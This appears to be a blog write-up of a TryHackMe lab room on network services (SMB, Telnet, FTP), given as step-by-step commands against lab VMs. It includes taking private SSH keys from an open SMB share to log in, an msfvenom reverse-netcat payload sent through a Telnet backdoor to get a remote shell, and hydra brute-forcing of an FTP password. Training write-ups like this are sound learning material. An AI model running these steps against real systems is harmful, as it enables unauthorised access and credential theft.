The Dutch Hacker
TryHackMe writeup Network Services

Network Services Room on Tryhackme

This is the write up for the room Network Services on Tryhackme

Make connection with VPN or use the attackbox on Tryhackme site to connect to the Tryhackme lab enviroment. Now let’s get started with Network Services

Tasks for Network Services

Task 1:

Read all that is in the task and press complete

Task 2:

All question can be found in the text of this task.

Answer task 2

SMB

Task 3:

Press on deploy to deploy the attached VM then start reading the task. Once the VM is deployed it will show the IP in the above banner

3.1 & 3.2 For the answer of the first question we need to scan the machine first. We can use nmap here. If you do not know how to use nmap. I have written a writeup for the room nmap on tryhackme

For now open a terminal and type in the command nmap -sV -sC -T4 <IP of VM> This will scan will give you all the information needed to answer the next couple of questions

Network Services Room on Tryhackme
Answer task 3

Most of the information in the next couple of question can also be found in the scan above. That is why I use the parameters -sV -sC . But let’s continue the intended way

3.3 Type in the command enum4linux -A <IP of VM>

Network Services Room on Tryhackme
Answer task 3

3.4 & 3.5 We use the same command enum4linux -A <IP of VM>

Network Services Room on Tryhackme
Answer task 3

3.6 Here we use the same command as in the last 2 questions enum4linux -A <IP of VM>

profiles is not a standard share

Network Services Room on Tryhackme
Answer task 4

Task 4:

4.1 The answer of the first question can be found in the last bit of the text in this task

Answer task 4

Press complete on the next one and move to the next question

4.2 Type in the command smbclient //<IP of VM>/profiles -p 445 and press enter when ask for password

Network Services Room on Tryhackme
Answer task 4

4.3 & 4.4 We are still connected so continue by typing in help to see a list of command we can use

Network Services Room on Tryhackme

Type ls

Network Services Room on Tryhackme

Let’s take a look at the content of this document by typing more “Working From Home Information.txt” Do not forget the quotes

Network Services Room on Tryhackme
Answer task 4

4.5 First type :q to get out of the document we where reading and type ls

Network Services Room on Tryhackme
Answer task 4

4.6 We need to navigate to the .ssh folder. Type in cd .ssh and the ls

Network Services Room on Tryhackme

The non public keys are of interest

Answer task 4

4.7 We need to login as John to find the flag. We are going to download the keys to our machine by typing mget id_rs*

Network Services Room on Tryhackme

Now open up an other terminal and copy the key to our own .ssh directory by typing cp id_rsa* .shh

Navigate to the .shh directory by typing cd .ssh and then type chmod 600 id_rsa to give the file the correct right. If you want to know why 600 read the write up for the room Linux Fundamentals Part 2 (task 15)

Network Services Room on Tryhackme

Now we need to fing the username of john and this can be found in the id_rsa.pub Type in the command cat id_rsa.pub

Network Services Room on Tryhackme

Now ssh into the machine by typing ssh cactus@<ip of vm>

Network Services Room on Tryhackme

We are now login in as user cactus on this machine with the information we have found in the smb share. As for the answer of the question type ls to find smb.txt then type in cat sms.txt to get the flag

Network Services Room on Tryhackme

TELNET

Task 5:

Read all that is in the task. All answer of the questions in this task can be found in the text of the task

Answer task 5

Task 6:

First terminate the other machine we have open and deploy the one in this task then read all that is in the task

To continue type in the command nmap -T4 -A -p- <IP of VM> in a terminal. This wil take some time because it will scan all ports

Network Services Room on Tryhackme
answer task 6

For the next question run the command nmap -T4 -A <IP of Vm> in the terminal

Network Services Room on Tryhackme

As we can see there are no ports found

answer task 6

The next question is hard to find if you are just stating out. Take a look at the previous scans

Network Services Room on Tryhackme
answer task 6

Task 7:

Read all that is in the task. Connect to the machine with telnet by entering hte following command telnet <ip of VM> 8012 Once there is a connection press complete in the task

Network Services Room on Tryhackme
answer task 6

Type in .HELP in the telnet session. We see one command .RUN

Network Services Room on Tryhackme
answer task 7

Start a tcpdump listener on your local machine in an other terminal

If using your own machine with the OpenVPN connection, use:

  • sudo tcpdump ip proto \\icmp -i tun0

If using the AttackBox, use:

  • sudo tcpdump ip proto \\icmp -i eth0

This starts a tcpdump listener, specifically listening for ICMP traffic, which pings operate on.

Now in the telnet session we type .RUN ping <ip fo your machine> -c 1 and then take a look at the terminal where the tcpdump is running

Network Services Room on Tryhackme
answer task 7

Read the question then type in the information for your situation

“msfvenom -p cmd/unix/reverse_netcat lhost=<ip of your machine> lport=4444 R”

Network Services Room on Tryhackme
answer task 7

Now we need to start a netcat listner. Type in the command nc -lvp 4444 in a saperate terminal

answer task 7

Now to get the fag we will copy the entire last line of the msfvenom payload in the telnet session

Network Services Room on Tryhackme
Network Services Room on Tryhackme

In the above terminal on the screenshot I have typed in .RUN and copied the payload in the terminal. In the below terminal we see that the connection is received and we have a shell now. Just type in ls to see the content and then cat flag.txt to get the flag we need to answer the question

FTP

Task 8:

The answer of the first question can be found in the text of the task

answer task 8

The second question you either know this or you need to google

answer task 8
answer task 8

The last quesion can be found in the text. It is active and passive

answer task 8

Task 9:

Terminate the machine that was running and then press on Deploy to deploy the next VM we will be using. Read all that is in the task.

Start e termnal and type in the command nmap -sV -sC

Network Services Room on Tryhackme
answers task 9

Now let’s login to the ftp with anonymous by typing in the command ftp {IP of VM]

Network Services Room on Tryhackme

Now we are in type the command ls

Network Services Room on Tryhackme
answer task 9

For the answer on the next question we need to take a look in the file we found. Type in the command get PUBLIC_NOTICE.txt – Notice that if we add the – to the command it will open it. We we do not add the – to the command it will download the file.

Network Services Room on Tryhackme
answer task 9

Task 10:

Read all that is in the task.

Open a terminal and type in the following command

hydra -t 4 -l mike -P /usr/share/wordlists/rockyou.txt -vV <IP of the VM> ftp

Network Services Room on Tryhackme

Type in the password you have found in the question and press complete

Now login as mike with the found password on the ftp

Network Services Room on Tryhackme

type in get ftp.txt – to get the flag for the question.

Conclusion

We have learned about the importance of enumeration and about different protocols and how to exploit them. However this room Network Services is in the complete beginners path and some things in this room Network Services are still to hard for a complete beginner. There is no good explanation for some questions and I had some trouble with a couple of them. Were do you need to look for the answers. That all being said this room is fun to do. It is the first room in the beginners path that teaches you how to exploit.

Most Popular Post

Sign Up

Signup today for free and be the first to get notified on new updates.
* indicates required

Follow Me

Most Popular Post

Contact Us